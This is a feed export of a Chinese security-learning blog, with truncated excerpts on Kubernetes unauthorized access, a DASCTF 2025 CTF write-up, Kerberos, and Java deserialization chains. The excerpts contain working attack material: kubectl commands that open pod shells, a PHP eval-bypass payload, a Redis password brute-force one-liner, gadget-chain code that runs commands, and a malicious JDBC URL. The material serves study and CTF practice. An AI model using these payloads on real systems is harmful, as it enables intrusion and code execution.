闲遇阁 - WEB学习笔记
type: channel
link: http://blog.187.ink/index.php/category/NOTE/
description: 一张洁白无瑕的画布（菜的要死）
items: 云安全-Kubernetes(k8s)
items: DASCTF 2025上半年赛 wp
items: Kerberos及其利用
items: JAVA安全-JackSon反序列化
items: JAVA安全-SnakeYaml反序列化
items: JAVA安全-C3P0反序列化
items: JAVA安全-XStream反序列化
items: JAVA安全-Hessian反序列化
items: JAVA安全-ROME反序列化
items: JAVA安全-JDBC

云安全-Kubernetes(k8s)
type: item
date: 2025-07-27T22:14:02+08:00
description: 组件未授权ApiServer未授权访问提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port)，8080 端口提供 HTTP 服务，没有认证授权机制，而 6443 端口提供 HTTPS 服务，支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动，而 6443 端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。如果目标 K8s 的 8080 端口开启了，由于其没有认证授权机制，因此存在未授权访问。如果目标 K8s 的 6443 端口开启了，如果配置错误，也可以导致存在未授权访问。有API server未授权：可控所有k8s资源可获取几乎所有容器的交互式shell利用一定技巧可获取所有容器母机的交互式shell8080端口：设置后重启systemctl restart kubectl 访问后可以得到如6443端口：如果配置不当，将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组，则会使得 6443 端口允许匿名用户以管理员权限访问，向集群内下发指令。正常情况下访问 6443 端口，提示 Forbidden。执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous利用的话先要安装kubectl：#查询最新版本号 proxychains curl -s https://dl.k8s.io/release/stable.txt 下载 proxychains curl -LO https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl chmod +x kubectl mv kubectl /usr/local/bin/利用：命令也行，get pods啥的获取信息也可以http://1.1.1.1:8080/api/v1/namespaces/default/pods?limit=100#直接访问api查看集群信息 kubectl -s http://1.1.1.1:8080 cluster-info 查看node节点信息以及pod信息 kubectl -s http://1.1.1.1:8080 get nodes kubectl -s http://1.1.1.1:8080 get pods 查看node和pod的详细信息 kubectl -s http://1.1.1.1:8080 get nodes -o wide kubectl -s http://1.1.1.1:8080 describe pod escaper 如果命名空间不在default 可以指定-n <namespace> 进入到escaper kubectl -s http://1.1.1.1:8080 exec -n default -it escaper -- /bin/bash 下面是扩展的命令： kubectl get pods #查询Pod kubectl get pods -n namespace #查询指定命名空间的Pod kubectl get pods --all-namespaces #查询所有命名空间的Pod kubectl describe pod pod-name #查询Pod的详细信息 kubectl get serviceaccount #查询服务账户详情 kubectl create serviceaccount account-name #创建服务账户 kubectl config view 打印出kubeconfig #配置内容 kubectl get rolebinding -n namespace #查看rbac权限设置 kubectl describe role role-name -n namespace #查看角色所绑定的规则 kubectl exec -it pod-name -c container-name -- /bin/bash #进入指定Pod的容器内部 kubectl cp pod-name:container-path local-path #从容器内复制文件到本地 kubect…

DASCTF 2025上半年赛 wp
type: item
date: 2025-06-24T00:13:01+08:00
description: WEB-phpms网站git泄露，通过githacker 下载.git目录，执行git log --all ，来查看所有分支上的提交记录，包括stash可以看到有一暂存的修改，通过git diff或者工具可以看到index.php的代码<?php $shell = $_GET['shell']; if(preg_match('/\x0a|\x0d/',$shell)){ echo ':('; }else{ eval("#$shell"); } ?>这里会将用户传参的shell参数拼接#作为代码执行，但是不允许换行。绕过换行和注释符的过滤，执行php代码。#作为php的单行注释符，在遇到?>会强制结束PHP模式，使得后续代码被当作新代码块执行。所以传参?shell=?><?php echo 11111;即可绕过注释执行代码。进一步利用发现，禁用了除index用到的preg_match以外的所有函数(disable_function)。这里的思路是利用php原生类进行下一步利用。例如：$context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); }passwd中可以看到redis，后面是对redis进行利用。但是常见ctf题目中利用SoapClient进行ssrf的操作并不可行，一方面靶机没有安装soap拓展，而且SoapClient会提示只支持http/https协议。利用SplFileObject配合CNEXT (CVE-2024-2961)进行命令执行，爆破reids密码。利用$context = new SplFileObject('file:///proc/self/maps'); foreach($context as $f){ echo($f); } $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so'); foreach($context as $f){ echo($f); }读取maps和libc，利用https://github.com/kezibei/php-filter-iconv项目进行命令执行，执行无回显，将结果写入/tmp/tmpp.txt暂存。可以看到redis需要密码认证。这里构造echo AUTH password | redis-cli -h 127.0.0.1 -p 6379 --raw | grep -q '^OK$' && echo password >> /tmp/pass.txt进行爆破，利用密码正确与否的不同回显，将正确密码写入tmp读取/tmp/pass.txt从reids中get flagecho "auth admin123\nkeys *\nget flag" | redis-cliMISC-一把嗦分析流量包，找到二次注入的流量规律。请求包：一次注册，一次登录，一次查看信息。响应包：如果响应包存在“您还不是VIP用户啊”说明sql注入后面的判断错误，正确应该是“您是尊贵的VIP用户”，如：1300 16 200 text/html; charset=UTF-8 3c21444f43545950452068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d227574662d38223e0d0a202020203c7469746c653ee4ba91e79b98e4b88be8bdbde7ab993c2f7469746c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a202020203c646976207374796c653d22746578742d616c69676e3a72696768743b223e0d0a202020203c666f726d206d6574686f643d22706f737422207374796c653d22646973706c61793a696e6c696e653b223e0d0a20202020202020203c627574746f6e206e616d653d22636865636b5f696e666f223ee68891e79a84e4bfa1e681af3c2f627574746f6e3e0d0a202020203c2f666f726d3e0d0a202020207c203c6120687265663d223f6c6f676f75743d…

Kerberos及其利用
type: item
date: 2025-04-25T21:05:00+08:00
description: Kerberos协议认证流程kerberos 是一种由MIT(麻省理工大学)提出的一种网络身份验证协议，它旨在通过使用加密技术为客户端/服务端应用程序提供强大的认证服务。kerberos协议中主要由三个角色：（1）访问服务的client（一下表述为Client或者用户）（2）提供服务的server（一下表述为服务）（3）KDC（Key Distribution Center）密钥分发中心其中KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务，远程桌面服务。在kerberos中Client是否有权限访问Server端的服务有KDC发放的票据决定。协议过程：(1)、ASREQ：Client向KDC发起ASREQ请求内容为：明文形式的用户名、通过Client密码Hash 后加密的时间戳、ClientID、网络地址、加密类型等内容。(2)、AS_REP：当KDC接收到请求之后，通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥 对Authenticator进行解密。如果解密后的内容和已知的内容一致，则证明请求着提供的密码正确， 即确定了登录者的身份。AS成功认证对方的身份之后，会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key，并采用该用户密码派生的秘钥进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容：用户相关信息和Logon Session Key，而 整个TGT则通过KDC自己的密钥进行加密。最终，被不同密钥加密的Logon Session Key和TGT返回给客户端。(3)、TGSREQ：Client凭借TGT票据向KDC发起针对特定服务的TGSREQ请求，该请求主要包含如下的内容：客户端用户名、通过Logon Session Key加密的Authenticator、TGT和访问的服务器（其实是服务名）。(4)、TGS_REP：KDC使用 NTLM-hash进行解密获取Logon Session Key，然后通过Logon Session Key 解密Authenticator，进而验证了对方的身份。TGS完成对客户端的认证之后，会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key，该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容：客户端用户信息和Service Session Key，整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。(5)、AP_REQ：Client拿着TGS票据去请求服务，但是，服务端在接收到ST之后，如何确保它是通过TGS购买，而不是自己伪造的呢？这很好办，不要忘了ST是通过自己密码派生的秘钥进行加密 的。 具体的操作过程是这样的，除了ST之外，服务请求还附加一份通过Service Session Key加密的 Authenticator。(6)、AP_REP：服务器在接收到请求之后，先通过自己密码派生的秘钥解密ST，并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator，进而验证了客户端的身份。现在服务器已经可以确保客户端是它所声称的那么用户，客户端还没有确认它所访问的不是一个钓鱼服务呢。为了解决客户端对服务器的验证，服务要需要将解密后的Authenticator再次用Service Session Key进行加密，并发挥给客户端。客户端再用缓存的Service Session Key进行解密，如果和之前的内容完全一样，则可以证明自己正在访问的服务器和自己拥有相同的ServiceSession Key，而这个会话秘钥不为外人知晓。解出来之后服务器会得到一个账户的PAC，然后服务器会就拿着PAC去KDC那边问Client有没有访问权限，域控解密PAC。获取Client的sid，以及所在的组，再根据该服务的ACL，判断Client是否有访问服务的权限。PAC的全称是Privilege Attribute Certificate（特权属证书）。不同的账号有不同的权限，PAC就是为了区别不同权限的一种方式。TGT：认证票据（购票许可证）TGS：票据发放服务TGS tikcet：服务票据 后面简称ST（Service ticket，入场券）委派在Windows 2000 Server首次发布Active Directory时，Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web S…

JAVA安全-JackSon反序列化
type: item
date: 2025-03-26T21:33:00+08:00
description: JackSon反序列化JackSonSpringboot一般都会自带JackSon这个依赖包，JackSon跟Fastjson有相同的功效。Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 Jackson。在 Java 领域，Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能，包括将 Java 对象转换为 JSON 字符串（序列化）以及将 JSON 字符串转换为 Java 对象（反序列化）。Jackson主要由三个核心包组成：jackson-databind：提供了通用的数据绑定功能（将Java对象与JSON数据相互转换）jackson-core：提供了核心的低级JSON处理API（例如JsonParser和JsonGenerator）jackson-annotations：提供了用于配置数据绑定的注解<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>示例ObjectMapperJackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper：ObjectMapper可以从字符串，流或文件中解析JSON，并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。Object映射器可以将JSON解析为自定义的类的对象，也可以解析置JSON树模型的对象。之所以称为ObjectMapper是因为它将JSON映射到Java对象（反序列化），或者将Java对象映射到JSON（序列化）。package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class demo { public static void main(String[] args) throws IOException { Person user = new Person("eqw",123); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); System.out.println(json);//{"name":"eqw","age":123} Person other = mapper.readValue(json,Person.class); System.out.println(other);//jackson.Person@6a4f787b } }JsonParserJackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器，差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快，但使用起来也比较麻烦。使用JsonParser需要先创建一个JsonFactorypackage jackson; import com.fasterxml.jackson.core.JsonFactory; import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.jackson.core.JsonToken; public class demo1 { public stati…

JAVA安全-SnakeYaml反序列化
type: item
date: 2025-03-25T18:03:32+08:00
description: SnakeYaml反序列化SnakeYamlSnakeYaml包主要用来解析yaml格式的内容，yaml语言比普通的xml与properties等配置文件的可读性更高，像是Spring系列就支持yaml的配置文件，而SnakeYaml是一个完整的YAML1.1规范Processor，支持UTF-8/UTF-16，支持Java对象的序列化/反序列化，支持所有YAML定义的类型。YAML基本格式要求：YAML大小写敏感使用缩进代表层级关系缩进只能使用空格，不能使用TAB，不要求空格个数，只需要相同层级左对齐(一般2个或4个空格)<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>主要关注序列化与反序列化SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。Yaml.load()：入参是一个字符串或者一个文件，经过序列化之后返回一个Java对象；Yaml.dump()：将一个对象转化为yaml文件形式；常用方法：String dump(Object data) //将Java对象序列化为YAML字符串。 void dump(Object data, Writer output) //将Java对象序列化为YAML流。 String dumpAll(Iterator<? extends Object> data) //将一系列Java对象序列化为YAML字符串。 void dumpAll(Iterator<? extends Object> data, Writer output) //将一系列Java对象序列化为YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) //将Java对象序列化为YAML字符串。 String dumpAsMap(Object data) #将Java对象序列化为YAML字符串。 <T> T load(InputStream io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(Reader io) //解析流中唯一的YAML文档，并生成相应的Java对象。 <T> T load(String yaml) //解析字符串中唯一的YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(InputStream yaml) //解析流中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(Reader yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。 Iterable<Object> loadAll(String yaml) //解析字符串中的所有YAML文档，并生成相应的Java对象。示例package snakeyaml; import org.yaml.snakeyaml.Yaml; public class test { public static void main(String[] args) { Person person = new Person("name",1); Yaml yaml = new Yaml(); // 序列化 String dump = yaml.dump(person); System.out.println(dump); // 反序列化 Object load = yaml.load(dump); System.out.println(load); } } //输出 //!!snakeyaml.Person {age: 1, name: name} // //snakeyaml.Person@4d591d15 //这里的!!类似于fastjson中的@type用于指定反序列化的全类名反序列化过程中会触发set方法和构造方法。利用链JdbcRowSetImpl利用链 jndi这里和fastjson的触发一致，调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName为父类BaseRowSet的dataSource属性赋值然后调用setAutoCommit为autoCommit赋值会调用connect方法这个方法存在new InitialContext().lookup()且参数就是dataSourceName可控，于是可以触发JNDI注入package…

JAVA安全-C3P0反序列化
type: item
date: 2025-03-13T18:37:00+08:00
description: C3P0反序列化C3P0C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口。使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>利用链URLClassLoader利用链 远程加载字节码漏洞点在PoolBackedDataSourceBase先看序列化的过程，进入PoolBackedDataSourceBase这个类看看writeObject先将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作，我们跟进ReferenceIndirector.indirectForm方法。public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } private static class ReferenceSerialized implements IndirectlySerialized { Reference reference; //!!!!! Name name; Name contextName; Hashtable env; ...此方法会调用connectionPoolDataSource属性的getReference方法，并用返回结果作为参数实例化一个ReferenceSerialized对象，然后将ReferenceSerialized对象返回，ReferenceSerialized被序列化可以看出reference是可以被我们控制的，接下来看反序列化的操作，readShort获取版本号为1，往下走,首先获取了反序列化后的对象，然后再判断这个对象o是否实现了IndirectlySerialized接口，在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口，所以通过判断，调用了o的getObject方法跟进getObject方法跟进ReferenceableUtils.referenceToObject，由于ref是在序列化的时候可以控制的参数，那么fClassName自然也是可以控制的属性，下面就调用了URLClassLoader实例化我们的远程恶意类。这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true，也就是会初始化类，恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞package c3p0; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource;…

JAVA安全-XStream反序列化
type: item
date: 2025-03-12T11:37:48+08:00
description: XStream反序列化XStreamXStream实现了一套Java对象到XML的序列化和反序列化机制，核心是通过Converter转换器来将XML和对象之间进行相互的转换。XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。<dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency>demopackage xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class xstreamDemo { public static void main(String[] args) { Person zhangsan = new Person("zhangsan", 18); // 序列化 XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(zhangsan); System.out.println(xml); // 反序列化 Person user = (Person) xstream.fromXML(xml); } }这里提示“XStream的安全框架未初始化，可能有安全风险”，如果尝试用1.4.17之后版本的XStream运行这段代码将无法正常反序列化出Person对象，并抛出异常。1.14.12版本开始，XStream包含一个安全框架，用于在反序列化时为允许的类型实现黑名单或白名单。在1.4.17版本之前，XStream保留了一个默认的黑名单用于防御安全攻击，在1.4.17版本之后，默认使用白名单，所有人现在都必须进行正确的初始化，否则在反序列化时会失败。因此，用1.4.17之后版本的XStream需要在初始化时给需要反序列化的类加入白名单内。xstream.allowTypes(new Class[]{Person.class});基础原理EventHandler类EventHandler类是实现了InvocationHandler的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其方法执行涉及传入事件对象和目标对象的简单语句，通常，连接是从用户界面bean（事件源）到应用程序逻辑bean（目标）。 这种最有效的连接将应用程序逻辑与用户界面隔离开来。在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的利用链中，会将前面两个属性作为类方法和参数继续反射调用而动态代理对象调用方法时会触发动态代理机制，调用EventHandler的invoke方法，样例如下package cve_2013_7285; import java.beans.EventHandler; import java.lang.reflect.Proxy; public class Demo { public static void main(String[] args) { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{"cmd","/c","calc"}); EventHandler eventHandler = new EventHandler(processBuilder,"start",null,null); Comparable proxy = (Comparable) Proxy.newProxyInstance(Demo.class.getClassLoad…

JAVA安全-Hessian反序列化
type: item
date: 2025-03-11T21:20:00+08:00
description: Hessian反序列化HessianRPC协议RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便RPC协议的一次远程通信过程如下:客户端发起请求，并按照RPC协议格式填充信息填充完毕后将二进制格式文件转化为流，通过传输协议进行传输服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回Hessian类似于RMI也是一种RPC工具,用来将对象序列化或反序列化。官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。JDK自带的序列化方式，使用起来非常方便，只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流，另外继承的元数据也会序列化，所以导致序列化的元素较多且字节流很大，但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次，由于这种方式是JDK自带，无法被多个语言通用。和JDK自带的序列化方式类似，Hessian采用的也是二进制协议，只不过Hessian序列化之后，字节数更小，性能更优。目前Hessian已经出到2.0版本，相较于1.0的Hessian性能更优。相较于JDK自带的序列化，Hessian的设计目标更明确。Hessian 协议具有以下设计目标：它必须自我描述序列化类型，即不需要外部架构或接口定义。它必须与语言无关，包括支持脚本语言。它必须在一次传递中可读或可写。它必须尽可能紧凑。它必须简单，以便可以有效地测试和实施。它必须尽可能快。它必须支持 Unicode 字符串。它必须支持 8 位二进制数据，而无需转义或使用附件。它必须支持加密、压缩、签名和事务上下文信封（ transaction context envelopes )。依赖<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>各种反序列化机制借此来了解一下反序列化机制在Java中，序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反，能够从字节序列中恢复出一个对象。参考marshalsec.pdf，我们可以将序列化/反序列化机制分大体分为两类基于Bean属性访问机制基于Field机制基于Bean属性访问机制SnakeYAMLjYAMLYamlBeansApache Flex BlazeDSRed5 IO AMFJacksonCastorJava XMLDecoder…它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制基于Field机制的反序列化是通过特殊的native（方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，而不是通过getter、setter方式对属性赋值。Java SerializationKryoHessianjson-ioXStream…HessianDemo先写一个标准JavaBean测试用package hessian; import java.io.Serializable; public class P…

JAVA安全-ROME反序列化
type: item
date: 2025-03-10T17:44:00+08:00
description: ROME反序列化ROMEROME是主要用于解析RSS和Atom种子的一个Java框架。ROME支持绝大多数的RSS协议。可以从一种格式转换成另一种格式，也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。他有个特殊的位置就是ROME提供了ToStringBean这个类，提供深入的toString方法对Java Bean进行操作。依赖：<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>基本原理ToStringBeanRome包中的com.sun.syndication.feed.impl.ToStringBean类中，提供了toString()方法，其中有两个toString()一个有参一个无参无参toString主要是获取_obj的类名并作为参数调用有参toString有参toString可以分三布，第一步getPropertyDescriptors，获取_beanClass中的getter、setter方法，跟进getPropertyDescriptors可以看到其中调用getPDs()方法跟进getPDs()，又调用了其他有参构造获取了其中的getter、setter方法，之后将其合并赋给list属性pds，并将其转换为数组形式返回获取pds返回值中的方法名和方法之后就会Object value = pReadMethod.invoke(_obj,NO_PARAMS);反射调用该方法_obj类的该方法因此如果有对象在反序列化过程中会调用任意对象的 toString() 方法，就可以调用其他任意对象的 getter() 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法demopackage rome; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; public class common { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode("[binary]"); setValue(templatesimpl, "_name", "whatever"); setValue(templatesimpl, "_bytecodes", new byte[][]{code}); // 这里对_tfactory的反射赋值在反序列化链中可以不写这步，因为反序列化过程中TemplatesImpl#readObject()会对该值初始化，但Demo是直接调用toString()的 // _tfactory 需要是一个TransformerFactoryImpl对象 // 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错 setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl); toStringBean.toString(); } public static void setValue(Object obj, String name, Object value) throws Exception …

JAVA安全-JDBC
type: item
date: 2025-02-01T23:18:13+08:00
description: JDBCJDBC（Java DataBase Connectivity）即Java数据库连接，是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。一般格式：jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2例子：String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始 //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5 String DB_URL="jdbc:mysql://127.0.0.1:3306/security"; //1.加载启动 Class.forName(Driver); //2.建立连接 Connection conn = DriverManager.getConnection(DB_URL,"root","root"); //3.操作数据库，实现增删改查 Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from users"); //如果有数据，rs.next()返回true while(rs.next()){ System.out.println(rs.getString("id")+" : "+rs.getString("username"));漏洞原理​ 如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。​ 因为JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞。可被利用的两条查询语句：SHOW SESSION STATUSSHOW COLLATION分析com.mysql.cj.jdbc中相关函数来连接MySQL服务器时，会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数，而其中会调用readObject()函数执行反序列化操作两个if分别判断是否为Binary或Blob格式数据、判断autoDeserialize属性值是否为true。这也是jdbc后两个参数的原因queryInterceptors和autoDeserializejdbc:mysql://62.204.54.54:10015/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true前面的调用链：​ 一开始是com.mysql.jdbc.Driver进行JDBC中的连接，其中会新建连接实例。连接后，接着设置对应的查询拦截器，对应的值就是我们在JDBC中设置的ServerStatusDiffInterceptor。​ 然后MySQL服务端来初始化Properties并执行相关的SQL语句，其中判断如果查询拦截器不为空则调用查询拦截器的ServerStatusDiffInterceptor#preProcess()函数: public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) { this.populateMapWithSessionStatusValues(this.preExecuteValues); return null; }preProcess其中调用populateMapWithSessionStatusValues() private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) { Statement stmt = null; ResultSet rs = null; try { try { t…